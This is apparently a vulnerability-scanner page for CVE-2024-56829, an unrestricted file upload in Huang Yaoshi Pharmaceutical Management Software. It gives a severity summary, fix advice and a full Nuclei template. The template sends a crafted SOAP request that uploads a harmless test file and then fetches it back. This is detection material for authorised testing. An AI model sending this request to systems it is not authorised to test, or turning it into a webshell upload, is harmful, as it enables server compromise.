Huang Yaoshi Pharmaceutical Management Software - Unrestricted File Upload

criticalseverity

10CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

Huang Yaoshi Pharmaceutical Management Software up to 16.0 contains an unrestricted file upload caused by accepting .asp filenames in the UploadFile element of a SOAP request to /XSDService.asmx, letting attackers upload arbitrary files, exploit requires sending a crafted SOAP request.

Impact

Attackers can upload arbitrary files, potentially leading to remote code execution or server compromise.

Fix

Update to the latest version or apply security patches that restrict file types and validate file uploads.

How to confirm it

Send: POST /XSDService.asmx
Positive when: contains "<?xml" and "UploadFileResult" AND status 200
Send: GET /Upload2015/{{filename}}
Positive when: contains "hello world" AND status 200

Run it with nuclei: nuclei -id CVE-2024-56829 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-56829

info:
  name: Huang Yaoshi Pharmaceutical Management Software - Unrestricted File Upload
  author: kosoyyagent
  severity: critical
  description: |
    Huang Yaoshi Pharmaceutical Management Software up to 16.0 contains an unrestricted file upload caused by accepting .asp filenames in the UploadFile element of a SOAP request to /XSDService.asmx, letting attackers upload arbitrary files, exploit requires sending a crafted SOAP request.
  impact: |
    Attackers can upload arbitrary files, potentially leading to remote code execution or server compromise.
  remediation: |
    Update to the latest version or apply security patches that restrict file types and validate file uploads.
  reference:
    - https://github.com/advisories/GHSA-66fj-74pq-7rwx
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56829
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-56829
    epss-score: 0.02059
    epss-percentile: 0.8148
    cwe-id: CWE-434
  metadata:
    max-request: 1
    vendor: huangyaoshi
    product: huang_yaoshi
  tags: cve,cve2026,huang_yaoshi,fileupload,rce,aspx,intrusive,vuln

variables:
  filename: '{{rand_base(8)}}.txt'

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /XSDService.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://tempuri.org/UploadFile"

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <UploadFile xmlns="http://tempuri.org/">
              <filePath></filePath>
              <fileName>{{filename}}</fileName>
              <buffer>aGVsbG8gd29ybGQ=</buffer>
              <Offset>1111</Offset>
            </UploadFile>
          </soap:Body>
        </soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<?xml'
          - 'UploadFileResult'
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /Upload2015/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'hello world'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from